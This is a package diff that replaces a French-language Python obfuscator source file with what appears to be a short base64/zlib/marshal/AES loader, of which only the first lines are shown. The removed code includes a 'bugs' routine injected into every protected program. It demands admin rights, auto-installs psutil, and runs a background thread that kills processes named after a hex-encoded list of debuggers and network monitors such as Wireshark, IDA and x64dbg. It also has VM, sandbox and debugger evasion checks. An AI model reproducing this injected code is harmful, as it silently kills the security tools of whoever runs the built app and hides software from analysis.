metadidomi-builder 1.4.201125 → 1.6.2812251812

package/build_tools_py/pyMetadidomi/pyMetadidomi.py

@@ -1,1678 +1,19 @@
-# === API pour usage externe (builder) ===
-def obfuscate_app(src_dir, dest_dir, verbose=True):
-    """
-    Obfusque tous les fichiers Python d'un dossier source vers un dossier destination.
-    Utilisé par le builder pour protéger l'application.
-    
-    Par défaut: --medium-protection (carbon + junk + bugs + dead_code)
-    """
-    protection_options = {
-        'carbon': True,          # Obfuscation des identifiants
-        'junk': True,            # Code parasite pour complexifier
-        'bugs': True,            # ✅ Anti-débogage (medium-protection)
-        'dead_code': True,       # Code mort pour augmenter la taille
-        'loader_integrated': True, # ✅ Loader bytecode natif intégré
-        'time_prot': False,
-        'anti_vm': False,
-        'anti_reverse': False,
-        'anti_decompile': False,
-        'multi_encrypt': False,
-        'encrypt': False,
-        'expiration_year': 2026,
-        'dead_code_complexity': 15,
-    }
-    if verbose:
-        print(f"[pyMetadidomi] Obfuscation de {src_dir} -> {dest_dir}")
-        print(f"[pyMetadidomi] Options: --medium-protection (carbon + junk + bugs + dead_code + loader_integrated)")
-    result = apply_protections_to_directory(src_dir, dest_dir, protection_options, verbose=verbose)
-    if verbose:
-        print(f"[pyMetadidomi] ✓ Obfuscation complète: {result['total']} fichiers traités")
-    return result
-# pyMetadidomi - Créé par ETS METADIDOMI
-# Obfuscateur et chiffreur de code Python
-import ast, io, tokenize, os, sys, platform, re, random, string, base64, hashlib, subprocess, requests, tempfile, argparse
-from Crypto import Random
+# --- Loader natif par pyMetadidomi (pymloader) ---
+import base64, zlib, marshal
 from Crypto.Cipher import AES
-from typing import Set, Dict, List
-
-is_windows = True if platform.system() == "Windows" else False
-
-# Configuration de la fenêtre sur Windows
-if is_windows:
-    os.system("title pyMetadidomi protecteur unique de code Python")
-
-def clear():
-    # Efface l'écran
-    if is_windows:
-        os.system("cls")
-    else:
-        os.system("clear")
-
-def pause():
-    # Met en pause
-    if is_windows:
-        os.system(f"pause >nul")
-    else:
-        input()
-
-def leave():
-    # Quitte le programme
-    try:
-        sys.exit()
-    except:
-        exit()
-
-def gui_info(title, message):
-    """Affiche un message d'information dans une fenêtre GUI (tkinter) ou console fallback"""
-    try:
-        import tkinter as tk
-        from tkinter import messagebox
-        root = tk.Tk()
-        root.withdraw()
-        messagebox.showinfo(title, message)
-        root.destroy()
-    except:
-        print(f"{title}: {message}")
-
-def gui_error(title, message):
-    """Affiche un message d'erreur dans une fenêtre GUI (tkinter) ou console fallback"""
-    try:
-        import tkinter as tk
-        from tkinter import messagebox
-        root = tk.Tk()
-        root.withdraw()
-        messagebox.showerror(title, message)
-        root.destroy()
-    except:
-        print(red(f"{title}: {message}"))
-
-def error(error):
-    # Affiche une erreur et quitte
-    print(red(f"        [!] Erreur : {error}"), end="")
-    pause(); clear(); leave()
-
-def blue_light(text):
-    # Bleu ciel vif (plus lumineux/saturé)
-    os.system("")
-    faded = ""
-    for line in text.splitlines():
-        # Utilise un bleu ciel vif (DeepSky-like) pour être visible et vif
-        faded += f"\033[38;2;0;191;255m{line}\033[0m\n"
-    return faded
-
-def blue_dark(text):
-    os.system("")
-    faded = ""
-    for line in text.splitlines():
-        faded += f"\033[38;2;0;0;180m{line}\033[0m\n"
-    return faded
-
-def blue_royal(text):
-    os.system("")
-    faded = ""
-    for line in text.splitlines():
-        faded += f"\033[38;2;0;80;255m{line}\033[0m\n"
-    return faded
-
-def white(text):
-    # Texte blanc pur (foreground) — sans forcer de fond —
-    # afin d'afficher du texte en blanc comme demandé.
-    os.system("")
-    faded = ""
-    for line in text.splitlines():
-        faded += f"\033[38;2;255;255;255m{line}\033[0m\n"
-    return faded
-
-def error_red(text):
-    os.system("")
-    faded = ""
-    for line in text.splitlines():
-        faded += f"\033[38;2;255;0;0m{line}\033[0m\n"
-    return faded
-
-# Aliases pour compatibilité avec l'ancien code
-def red(text):
-    return error_red(text)
-
-def blue(text):
-    return blue_light(text)
-
-def water(text):
-    return blue_light(text)
-
-def purple(text):
-    return blue_royal(text)
-
-def remove_docs(source):
-    # Supprime les commentaires et docstrings du code
-    io_obj = io.StringIO(source)
-    out = ""
-    prev_toktype = tokenize.INDENT
-    last_lineno = -1
-    last_col = 0
-    for tok in tokenize.generate_tokens(io_obj.readline):
-        token_type = tok[0]
-        token_string = tok[1]
-        start_line, start_col = tok[2]
-        end_line, end_col = tok[3]
-        if start_line > last_lineno:
-            last_col = 0
-        if start_col > last_col:
-            out += (" " * (start_col - last_col))
-        if token_type == tokenize.COMMENT:
-            pass
-        elif token_type == tokenize.STRING:
-            if prev_toktype != tokenize.INDENT:
-                if prev_toktype != tokenize.NEWLINE:
-                    if start_col > 0:
-                        out += token_string
-        else:
-            out += token_string
-        prev_toktype = token_type
-        last_col = end_col
-        last_lineno = end_line
-    out = '\n'.join(l for l in out.splitlines() if l.strip())
-    return out
-
-def do_rename(pairs, code):
-    # Remplace les noms en utilisant les paires fournies
-    for key in pairs:
-        code = re.sub(fr"\b({key})\b", pairs[key], code, re.MULTILINE)
-    return code
-
-class RobustRenamer:
-    """Renommage robuste de tous les identifiants avec AST"""
-    
-    def __init__(self):
-        self.used_names: Set[str] = set()
-        self.name_mapping: Dict[str, str] = {}
-        self.reserved_keywords = {
-            'and', 'as', 'assert', 'break', 'class', 'continue', 'def', 
-            'del', 'elif', 'else', 'except', 'finally', 'for', 'from', 
-            'global', 'if', 'import', 'in', 'is', 'lambda', 'nonlocal', 
-            'not', 'or', 'pass', 'raise', 'return', 'try', 'while', 
-            'with', 'yield', 'True', 'False', 'None', '__name__', '__main__',
-            '__file__', '__doc__', '__package__', '__loader__', '__spec__',
-            '__annotations__', '__builtins__', '__cached__', '__dict__'
-        }
-        # Modules standards Python et bibliothèques communes
-        self.protected_modules = {
-            'sys', 'os', 'time', 'datetime', 'json', 'csv', 're', 'random',
-            'math', 'collections', 'itertools', 'functools', 'operator',
-            'string', 'io', 'pathlib', 'tempfile', 'glob', 'shutil',
-            'subprocess', 'threading', 'multiprocessing', 'asyncio',
-            'socket', 'http', 'urllib', 'requests', 'flask', 'django',
-            'numpy', 'pandas', 'scipy', 'matplotlib', 'sqlalchemy',
-            'tkinter', 'tk', 'messagebox', 'filedialog', 'base64',
-            'hashlib', 'cryptography', 'Crypto', 'psutil', 'logging',
-            'unittest', 'pytest', 'doctest', 'pickle', 'shelve',
-            'sqlite3', 'abc', 'typing', 'enum', 'dataclasses', 'warnings',
-            'inspect', 'pydoc', 'importlib', 'pkgutil', 'modulefinder',
-            'ctypes', 'binascii', 'Process', 'Thread', 'Lock', 'Event',
-            'Queue', 'Pool', 'Manager', 'Value', 'Array', 'Pipe'
-        }
-    
-    def generate_safe_name(self, length: int = 8) -> str:
-        """Génère un nom sécurisé qui n'est pas un mot-clé Python"""
-        while True:
-            # Utiliser des caractères similaires pour complexifier la lecture
-            chars = ['I', 'l', '1', 'O', '0']
-            name = ''.join(random.choice(chars) for _ in range(length))
-            
-            # Vérifier que ce n'est pas un mot-clé et pas déjà utilisé
-            if (name not in self.reserved_keywords and 
-                name not in self.used_names and
-                name not in self.protected_modules and
-                not name[0].isdigit()):
-                self.used_names.add(name)
-                return name
-    
-    def analyze_identifiers(self, code: str) -> Dict[str, List]:
-        """Analyse tous les identifiants du code avec AST - Robuste et sûre"""
-        try:
-            tree = ast.parse(code)
-        except SyntaxError as e:
-            print(f"        [!] Erreur de syntaxe à la ligne {e.lineno}: {e.msg}")
-            return {}
-        
-        identifiers = {
-            'functions': set(),
-            'classes': set(),
-        }
-        
-        class IdentifierCollector(ast.NodeVisitor):
-            def __init__(self, collector):
-                self.collector = collector
-            
-            def visit_ClassDef(self, node):
-                # Ajouter uniquement les classes de haut niveau
-                self.collector['classes'].add(node.name)
-                self.generic_visit(node)
-            
-            def visit_FunctionDef(self, node):
-                # Ajouter uniquement les fonctions de haut niveau
-                self.collector['functions'].add(node.name)
-                self.generic_visit(node)
-            
-            def visit_AsyncFunctionDef(self, node):
-                self.collector['functions'].add(node.name)
-                self.generic_visit(node)
-        
-        collector = IdentifierCollector(identifiers)
-        collector.visit(tree)
-        
-        # Convertir les sets en listes
-        return {k: list(v) for k, v in identifiers.items()}
-    
-    def build_rename_mapping(self, identifiers: Dict[str, List]) -> Dict[str, str]:
-        """Construit le mapping de renommage - TRÈS ULTRA CONSERVATIVE"""
-        mapping = {}
-        
-        # STRATÉGIE ULTRA CONSERVATIVE : 
-        # On renomme UNIQUEMENT les classes de haut niveau et fonctions utilisateur
-        # PAS les variables globales, pas les paramètres, pas les attributs, pas les imports
-        
-        # Renommer uniquement les classes
-        if 'classes' in identifiers:
-            for original_name in identifiers['classes']:
-                # Ne pas renommer les modules standards
-                if original_name in self.protected_modules:
-                    continue
-                
-                # Ne pas renommer les classes "built-in" ou spéciales
-                if (original_name not in self.reserved_keywords and 
-                    not original_name.startswith('__') and
-                    original_name not in self.protected_modules):
-                    
-                    new_name = self.generate_safe_name(random.randint(8, 15))
-                    mapping[original_name] = new_name
-        
-        # Renommer uniquement les fonctions qui ne sont pas importées
-        if 'functions' in identifiers:
-            for original_name in identifiers['functions']:
-                if original_name in self.protected_modules:
-                    continue
-                
-                # Exclure les dunder methods et magic methods
-                if (original_name not in self.reserved_keywords and 
-                    not original_name.startswith('__') and
-                    original_name not in ['init', 'new', 'str', 'repr', 'len']):
-                    
-                    new_name = self.generate_safe_name(random.randint(8, 15))
-                    mapping[original_name] = new_name
-        
-        return mapping
-    
-    def safe_rename(self, code: str, mapping: Dict[str, str]) -> str:
-        """Renommage sécurisé avec protection avancée des contextes sensibles"""
-        
-        # Trier par longueur décroissante pour éviter les conflits de sous-chaînes
-        sorted_items = sorted(mapping.items(), key=lambda x: len(x[0]), reverse=True)
-        
-        # ===== ÉTAPE 1: Protection complète des strings =====
-        string_pattern = r'("""(?:[^"\\]|\\.)*?"""|\'\'\'(?:[^\'\\]|\\.)*?\'\'\'|"(?:[^"\\]|\\.)*?"|\'(?:[^\'\\]|\\.)*?\')'
-        strings = []
-        
-        def protect_strings(match):
-            strings.append(match.group(0))
-            return f'__STRING_PLACEHOLDER_{len(strings)-1}__'
-        
-        code = re.sub(string_pattern, protect_strings, code, flags=re.DOTALL)
-        
-        # ===== ÉTAPE 2: Protection des commentaires =====
-        comments = []
-        comment_pattern = r'#.*?$'
-        
-        def protect_comments(match):
-            comments.append(match.group(0))
-            return f'__COMMENT_PLACEHOLDER_{len(comments)-1}__'
-        
-        code = re.sub(comment_pattern, protect_comments, code, flags=re.MULTILINE)
-        
-        # ===== ÉTAPE 3: Protection des imports =====
-        # Patterns d'import à protéger
-        import_patterns = [
-            r'from\s+\w+\s+import',
-            r'import\s+\w+',
-            r'as\s+\w+'
-        ]
-        
-        # ===== ÉTAPE 4: Renommer UNIQUEMENT les identifiants isolés =====
-        for old_name, new_name in sorted_items:
-            # Pattern strict: le nom doit être entouré par des word boundaries
-            # ET ne pas être précédé par "import", "from", "as", ".", ou ":"
-            pattern = r'(?<![\.:\w])(?<!import\s)(?<!from\s)(?<!as\s)' + \
-                      re.escape(old_name) + \
-                      r'(?![\w\.])'
-            
-            code = re.sub(pattern, new_name, code, flags=re.MULTILINE)
-        
-        # ===== ÉTAPE 5: Restauration des commentaires =====
-        for i, original_comment in enumerate(comments):
-            code = code.replace(f'__COMMENT_PLACEHOLDER_{i}__', original_comment)
-        
-        # ===== ÉTAPE 6: Restauration des strings =====
-        for i, original_string in enumerate(strings):
-            code = code.replace(f'__STRING_PLACEHOLDER_{i}__', original_string)
-        
-        return code
-
-def apply_protections_to_directory(src_dir, dest_dir, protection_options, verbose=True):
-    """
-    Applique les protections pyMetadidomi à tous les fichiers .py d'un répertoire
-    Utilisé par le builder pour protéger les applications complètes
-    
-    Args:
-        src_dir: Répertoire source contenant les fichiers Python
-        dest_dir: Répertoire de destination pour les fichiers protégés
-        protection_options: Dictionnaire avec les options de protection
-        verbose: Afficher les détails du traitement
-    
-    Returns:
-        Dictionnaire avec les statistiques du traitement
-    """
-    if not any(protection_options.values()):
-        # Aucune protection demandée, copier simplement
-        from pathlib import Path
-        src_path = Path(src_dir)
-        if src_path.exists():
-            import shutil
-            dest_path = Path(dest_dir)
-            shutil.copytree(src_path, dest_path, dirs_exist_ok=True)
-        return {'total': 0, 'protected': 0, 'copied': 0, 'errors': []}
-    
-    from pathlib import Path
-    import shutil
-    
-    src_path = Path(src_dir)
-    dest_path = Path(dest_dir)
-    dest_path.mkdir(parents=True, exist_ok=True)
-    
-    # Statistiques détaillées
-    stats = {
-        'total': 0,
-        'protected': 0,
-        'copied': 0,
-        'errors': [],
-        'files': []  # Liste des fichiers traités
-    }
-
-    # Collecter tous les fichiers .py
-    py_files = sorted(list(src_path.rglob('*.py')))
-    
-    if verbose:
-        print(f"[pyMetadidomi] 📄 {len(py_files)} fichier(s) Python trouvé(s)")
-        print()
-
-    for i, py_file in enumerate(py_files, 1):
-        rel_path = py_file.relative_to(src_path)
-        dest_file = dest_path / rel_path
-        dest_file.parent.mkdir(parents=True, exist_ok=True)
-        
-        try:
-            # Lire le fichier source
-            with open(py_file, 'r', encoding='utf-8') as f:
-                src = f.read()
-            
-            # Taille originale
-            original_size = len(src)
-            protection_applied = False  # ← Initialiser la variable
-            
-            # Appliquer les protections dans l'ordre
-            if protection_options.get('junk'):
-                src = anubis(src)
-                protection_applied = True
-            if protection_options.get('bugs'):
-                src = bugs(src)
-                protection_applied = True
-            if protection_options.get('dead_code'):
-                complexity = protection_options.get('dead_code_complexity', 10)
-                src = generate_dead_code(complexity) + src
-                protection_applied = True
-            if protection_options.get('time_prot'):
-                expiration_year = protection_options.get('expiration_year', 2025)
-                src = time_protection(src, expiration_year=expiration_year)
-                protection_applied = True
-
-            if protection_options.get('anti_vm') or protection_options.get('anti_reverse'):
-                src = advanced_anti_analysis(src)
-                protection_applied = True
-
-            if protection_options.get('anti_decompile'):
-                src = anti_decompile_protection(src)
-                protection_applied = True
-
-            if protection_options.get('multi_encrypt'):
-                key = base64.b64encode(os.urandom(32)).decode()
-                encryption = MultiLayerEncryption([key, key[:16], key[:8]])
-                src = "encrypted_code = " + repr(encryption.multi_encrypt(src)) + "\n" + src
-                protection_applied = True
-
-            if protection_options.get('carbon'):
-                src, renamed_count = carbon(src)
-                # Ne compter comme "vraiment protégé" que si des identifiants ont été renommés
-                if renamed_count > 0:
-                    protection_applied = True
-                else:
-                    protection_applied = False
-            else:
-                protection_applied = True  # Les autres protections comptent toujours
-
-            if protection_options.get('encrypt'):
-                key = base64.b64encode(os.urandom(32)).decode()
-                src = Encryption(key.encode()).write(key, src)
-                protection_applied = True
-
-            if protection_options.get('loader_integrated'):
-                src = protect_with_loader(src)
-                protection_applied = True
-
-            # Taille après obfuscation
-            obfuscated_size = len(src)
-            size_increase = ((obfuscated_size - original_size) / original_size * 100) if original_size > 0 else 0
-
-            # Écrire le fichier protégé
-            with open(dest_file, 'w', encoding='utf-8') as f:
-                f.write(src)
-
-            # Compter comme protégé SEULEMENT si une protection a vraiment été appliquée
-            if protection_applied or protection_options.get('junk') or protection_options.get('dead_code'):
-                stats['protected'] += 1
-                file_status = 'protected'
-            else:
-                stats['copied'] += 1
-                file_status = 'copied'
-            
-            file_info = {
-                'name': str(rel_path),
-                'original_size': original_size,
-                'obfuscated_size': obfuscated_size,
-                'increase': size_increase,
-                'status': file_status
-            }
-            stats['files'].append(file_info)
-            
-            if verbose:
-                status_icon = "✓" if file_status == 'protected' else "→"
-                print(f"        [{i}/{len(py_files)}] {status_icon} {str(rel_path):50s} | {original_size:8d} → {obfuscated_size:8d} bytes (+{size_increase:5.1f}%)")
-
-        except Exception as e:
-            # En cas d'erreur, copier simplement le fichier
-            error_msg = f"Erreur lors de la protection de {rel_path}: {e}"
-            if verbose:
-                print(f"        [{i}/{len(py_files)}] ⚠️  {str(rel_path):50s} | ERREUR: {str(e)[:40]}")
-            shutil.copy2(py_file, dest_file)
-            stats['copied'] += 1
-            stats['errors'].append(error_msg)
-            file_info = {
-                'name': str(rel_path),
-                'status': 'copied_on_error',
-                'error': str(e)
-            }
-            stats['files'].append(file_info)
-
-    # Copier aussi les fichiers non-.py
-    non_py_files = [item for item in src_path.rglob('*') 
-                    if item.is_file() and item.suffix != '.py']
-    
-    if verbose and non_py_files:
-        print()
-        print(f"[pyMetadidomi] 📦 {len(non_py_files)} fichier(s) non-Python")
-    
-    for item in non_py_files:
-        rel_path = item.relative_to(src_path)
-        dest_file = dest_path / rel_path
-        dest_file.parent.mkdir(parents=True, exist_ok=True)
-        shutil.copy2(item, dest_file)
-        stats['copied'] += 1
-
-    stats['total'] = len(py_files) + len(non_py_files)
-    
-    # Copier le module natif pymloader.pyd si disponible
-    import pathlib
-    loader_dir = pathlib.Path(__file__).parent
-    pymloader_ext = 'pymloader.pyd' if sys.platform.startswith('win') else 'pymloader.so'
-    pymloader_bin = loader_dir / pymloader_ext
-    if pymloader_bin.exists():
-        dest_pymloader = dest_path / pymloader_ext
-        shutil.copy2(pymloader_bin, dest_pymloader)
-        if verbose:
-            print(f"[pyMetadidomi] 📦 Module natif {pymloader_ext} copié dans le dossier de destination")
-    
-    if verbose:
-        print()
-        print(f"[pyMetadidomi] ════════════════════════════════════════════════════════")
-        print(f"[pyMetadidomi] 📊 RÉSUMÉ D'OBFUSCATION:")
-        print(f"[pyMetadidomi]   - Fichiers Python traités: {len(py_files)}")
-        print(f"[pyMetadidomi]   - Fichiers Python obfusqués (avec identifiants renommés): {stats['protected']}")
-        print(f"[pyMetadidomi]   - Fichiers non-Python copiés: {len(non_py_files)}")
-        print(f"[pyMetadidomi]   - TOTAL: {stats['total']} fichiers dans le dossier protégé")
-        if stats['errors']:
-            print(f"[pyMetadidomi]   - ⚠️  Erreurs lors de l'obfuscation: {len(stats['errors'])}")
-        print(f"[pyMetadidomi] ════════════════════════════════════════════════════════")
-        print()
-    
-    return stats
-
-def carbon(code):
-    """
-    Obfuscation Carbon améliorée et robuste
-    Retourne (code_obfusqué, nombre_d'identifiants_renommés)
-    """
-    renamer = RobustRenamer()
-    
-    # Étape 1: Analyse complète du code
-    print("        [>] Analyse des identifiants...")
-    identifiers = renamer.analyze_identifiers(code)
-    
-    if not identifiers:
-        print("        [!] Impossible d'analyser le code, retour du code original")
-        return code, 0
-    
-    # Étape 2: Construction du mapping de renommage
-    print("        [>] Génération des nouveaux noms...")
-    mapping = renamer.build_rename_mapping(identifiers)
-    
-    if not mapping:
-        print("        [!] Aucun identifiant à renommer")
-        return code, 0
-    
-    # Barre de progression
-    cycles = [
-        "[   > >                                                                                           ]", 
-        "[   > > > >                                                                                       ]", 
-        "[   > > > > > >                                                                                   ]", 
-        "[   > > > > > > > >                                                                               ]", 
-        "[   > > > > > > > > > >                                                                           ]", 
-        "[   > > > > > > > > > > > >                                                                       ]", 
-        "[   > > > > > > > > > > > > > >                                                                   ]", 
-        "[   > > > > > > > > > > > > > > > >                                                               ]", 
-        "[   > > > > > > > > > > > > > > > > > >                                                           ]", 
-        "[   > > > > > > > > > > > > > > > > > > > >                                                       ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > >                                                   ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > >                                               ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > >                                           ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > >                                       ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >                                   ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >                               ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >                           ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >                       ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >                   ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >               ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >           ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >       ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >   ]", 
-    ]
-    
-    # Étape 3: Application du renommage avec barre de progression
-    print("        [>] Application du renommage...")
-    i = 0
-    obfuscated_code = renamer.safe_rename(code, mapping)
-    
-    # Animation de la barre de progression
-    for j in range(len(cycles)):
-        print("\r"+f"        {cycles[j]}", end="", flush=True)
-        
-    print("\r"+f"        {cycles[len(cycles)-1]}\n", end="")
-    
-    # Statistiques
-    stats = {
-        'classes': len(identifiers.get('classes', [])),
-        'functions': len(identifiers.get('functions', [])),
-        'variables': len(identifiers.get('variables', [])),
-        'parameters': len(identifiers.get('parameters', [])),
-        'renamed': len(mapping)
-    }
-    
-    print(f"        [>] Obfuscation terminée: {stats['renamed']} identifiants renommés")
-    print(f"        [>] Détail: {stats['classes']} classes, {stats['functions']} fonctions, "
-          f"{stats['variables']} variables, {stats['parameters']} paramètres\n")
-    
-    return obfuscated_code, stats['renamed']  # ← Retourner le nombre d'identifiants renommés
-
-def bugs(code):
-    # Ajoute des fonctions anti-débogage (robuste avec gestion d'erreur)
-    dbg = """try:
-    import ctypes, sys, binascii, threading, time, tkinter
-    from tkinter import messagebox
-    if not ctypes.windll.shell32.IsUserAnAdmin() != 0:
-        try:
-            root = tkinter.Tk()
-            root.withdraw()
-            messagebox.showerror("Erreur", "Veuillez exécuter ce programme en tant qu'administrateur.")
-            root.destroy()
-        except:
-            print("Veuillez exécuter ce programme en tant qu'administrateur.")
-        sys.exit(0)
-    try:
-        from psutil import process_iter
-    except ImportError:
-        import os
-        os.system("pip install psutil")
-        from psutil import process_iter
-    d = [
-        '53757370656e64', '50726f67726573732054656c6572696b20466964646c657220576562204465627567676572', '466964646c6572', '57697265736861726b',
-        '64756d70636170', '646e537079', '646e5370792d783836', '6368656174656e67696e652d7838365f3634', '4854545044656275676765725549',
-        '50726f636d6f6e', '50726f636d6f6e3634', '50726f636d6f6e363461', '50726f636573734861636b6572',
-        '783332646267', '783634646267', '446f744e657444617461436f6c6c6563746f723332',
-        '446f744e657444617461436f6c6c6563746f723634', '485454504465627567676572537663', '48545450204465627567676572', '696461', '6964613634', '69646167', '696461673634',
-        '69646177', '696461773634', '69646171', '696461713634', '69646175', '696461753634',
-        '7363796c6c61', '7363796c6c615f783634', '7363796c6c615f783836', '70726f74656374696f6e5f6964',
-        '77696e646267', '7265736861636b6572', '496d706f7274524543', '494d4d554e4954594445425547474552',
-        '4d65676144756d706572', '646973617373656d626c79', '4465627567', '5b435055496d6d756e697479',
-        '4d65676144756d70657220312e3020627920436f6465437261636b6572202f20536e44', '436861726c6573', '636861726c6573', '4f4c4c59444247', '496d706f72745f7265636f6e7374727563746f72',
-        '636f6465637261636b6572', '646534646f74', '696c737079', '67726179776f6c66',
-        '73696d706c65617373656d626c796578706c6f726572', '7836346e657464756d706572', '687864',
-        '7065746f6f6c73', '73696d706c65617373656d626c79', '68747470616e616c797a6572', '687474706465627567', '70726f636573736861636b6572', '6d656d6f727965646974', '6d656d6f7279',
-        '646534646f746d6f64646564', '70726f63657373206861636b6572', '70726f63657373206d6f6e69746f72',
-        '717435636f7265', '696461', '696d6d756e697479', '68747470', '74726166666963',
-        '77697265736861726b', '666964646c6572', '7061636b6574', '6861636b6572', '6465627567', '646e737079', '646f747065656b', '646f747472616365', '70726f6364756d70', '6d616e61676572',
-        '6d656d6f7279', '6e65744c696d6974', '6e65744c696d69746572', '73616e64626f78'
-    ]
-    d = [binascii.unhexlify(i.encode()).decode() for i in d]
-    def debugger():
-        while True:
-            try:
-                for proc in process_iter():
-                    for i in d:
-                        if i.lower() in proc.name().lower():
-                            proc.kill()
-            except Exception:
-                pass
-            time.sleep(0.5)
-    threading.Thread(target=debugger, daemon=True).start()
-except Exception:
-    pass
-"""
-    code = dbg + code
-    return code
-
-def anubis(code):
-    # Ajoute du code inutile (junk code) pour compliquer le débogage
-    newcode = "\n"
-    classes = ["".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(2, 5))]
-    for i in classes:
-        newcode += f"class {i}:\n    def __init__(self):\n"
-        funcs = ["__"+"".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(5, 15))]
-        for i in funcs:
-            newcode += f"        self.{i}()\n"
-        for i in funcs:
-            newcode += f"    def {i}(self, {', '.join([''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(5, 20))) for i in range(random.randint(1, 7))])}):\n        return self.{random.choice(funcs)}()\n"
-    newcode += code + "\n"
-    classes = ["".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(2, 5))]
-    for i in classes:
-        newcode += f"class {i}:\n    def __init__(self):\n"
-        funcs = ["__"+"".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(5, 15))]
-        for i in funcs:
-            newcode += f"        self.{i}()\n"
-        for i in funcs:
-            newcode += f"    def {i}(self, {', '.join([''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(5, 20))) for i in range(random.randint(1, 7))])}):\n        return self.{random.choice(funcs)}()\n"
-    return newcode
-
-def generate_dead_code(complexity=10):
-    """Génère du code mort pour complexifier l'analyse"""
-    
-    dead_code = ""
-    
-    # Types de code mort
-    dead_functions = [
-        "def unused_func_{}(): return sum(i for i in range({}))",
-        "def dummy_calc_{}(x): return x * {} + {}",
-        "def fake_method_{}(): return 'fake_result_{}'",
-    ]
-    
-    dead_variables = [
-        "temp_var_{} = [i for i in range({})]",
-        "unused_data_{} = {{'key': 'value'}}",
-        "complex_obj_{} = type('Obj', (), {{'attr': {}}})()"
-    ]
-    
-    for i in range(complexity):
-        # Générer les fonctions mortes avec le bon nombre d'arguments
-        func_template = random.choice(dead_functions)
-        if func_template.count('{}') == 2:
-            dead_code += func_template.format(i, random.randint(10, 100)) + "\n"
-        elif func_template.count('{}') == 3:
-            dead_code += func_template.format(i, random.randint(1, 10), random.randint(1, 10)) + "\n"
-        
-        # Générer les variables mortes
-        var_template = random.choice(dead_variables)
-        if var_template.count('{}') == 2:
-            dead_code += var_template.format(i, random.randint(5, 50)) + "\n"
-        else:
-            dead_code += var_template.format(i) + "\n"
-    
-    return dead_code
-
-def time_protection(code, expiration_year=2025, max_time=3600):
-    """Protection basée sur la date d'expiration avec interface graphique"""
-    time_protection_code = f"""import time, datetime
-import tkinter as tk
-from tkinter import messagebox
-
-current_date = datetime.datetime.now()
-EXPIRATION_YEAR = {expiration_year}
-
-if current_date.year > EXPIRATION_YEAR:
-    root = tk.Tk()
-    root.withdraw()
-    messagebox.showerror("Erreur Licence", f"Licence expirée\\nLe programme a expiré depuis le {{EXPIRATION_YEAR}}.")
-    root.destroy()
-    exit()
-
-def protected_execution():
-"""
-    return time_protection_code + "\n    " + code.replace("\n", "\n    ") + "\n\nprotected_execution()"
-
-class MultiLayerEncryption:
-    """Chiffrement en plusieurs couches avec différents algorithmes"""
-    
-    def __init__(self, keys):
-        self.keys = keys
-    
-    def xor_encrypt(self, data, key):
-        """Chiffrement XOR simple mais efficace"""
-        encrypted = bytearray()
-        key_bytes = key.encode('utf-8')
-        for i, byte in enumerate(data.encode('utf-8')):
-            encrypted.append(byte ^ key_bytes[i % len(key_bytes)])
-        return encrypted
-    
-    def caesar_cipher(self, data, shift):
-        """Chiffrement César pour les strings"""
-        result = ""
-        for char in data:
-            if char.isalpha():
-                ascii_offset = 65 if char.isupper() else 97
-                result += chr((ord(char) - ascii_offset + shift) % 26 + ascii_offset)
-            else:
-                result += char
-        return result
-    
-    def multi_encrypt(self, data):
-        """Chiffrement multi-couches"""
-        # Couche 1: XOR
-        layer1 = self.xor_encrypt(data, self.keys[0])
-        
-        # Couche 2: César
-        layer2 = self.caesar_cipher(layer1.decode('latin-1'), 13)
-        
-        # Couche 3: Base64
-        import base64
-        layer3 = base64.b64encode(layer2.encode('utf-8')).decode()
-        
-        return layer3
-
-def advanced_anti_analysis(code):
-    """Protections anti-reverse engineering avancées"""
-    
-    anti_analysis = """
-import sys, os, ctypes, platform, subprocess, hashlib
-
 try:
-    def detect_vm():
-        vm_indicators = [
-            "vbox" in platform.machine().lower(),
-            "vmware" in platform.machine().lower(),
-            "qemu" in platform.machine().lower(),
-            any(vm in platform.processor().lower() for vm in ['vmware', 'virtualbox', 'qemu']),
-            os.path.exists(r"C:\\\\Program Files\\\\VMware"),
-            os.path.exists(r"C:\\\\Program Files\\\\Oracle\\\\VirtualBox"),
-        ]
-        return any(vm_indicators)
-
-    # Détection des debuggers
-    def detect_debugger():
-        try:
-            return ctypes.windll.kernel32.IsDebuggerPresent() != 0
-        except:
-            return False
-
-    # Détection des sandboxes
-    def detect_sandbox():
-        sandbox_processes = [
-            "vmsrvc", "vmusrvc", "vboxtray", "vmtoolsd", 
-            "vmwaretray", "vmwareuser", "prl_tools", "xenservice"
-        ]
-        try:
-            output = subprocess.check_output("tasklist", shell=True).decode().lower()
-            return any(proc in output for proc in sandbox_processes)
-        except:
-            return False
-
-    # Vérifications de sécurité
-    if detect_vm() or detect_debugger() or detect_sandbox():
-        try:
-            import tkinter as tk
-            from tkinter import messagebox
-            root = tk.Tk()
-            root.withdraw()
-            messagebox.showerror("Sécurité", "Environnement non sécurisé détecté")
-            root.destroy()
-        except:
-            print("Environnement non sécurisé détecté")
-        sys.exit(1)
-except Exception:
-    pass
-"""
-    return anti_analysis + code
-
-def minify_irreversible(code):
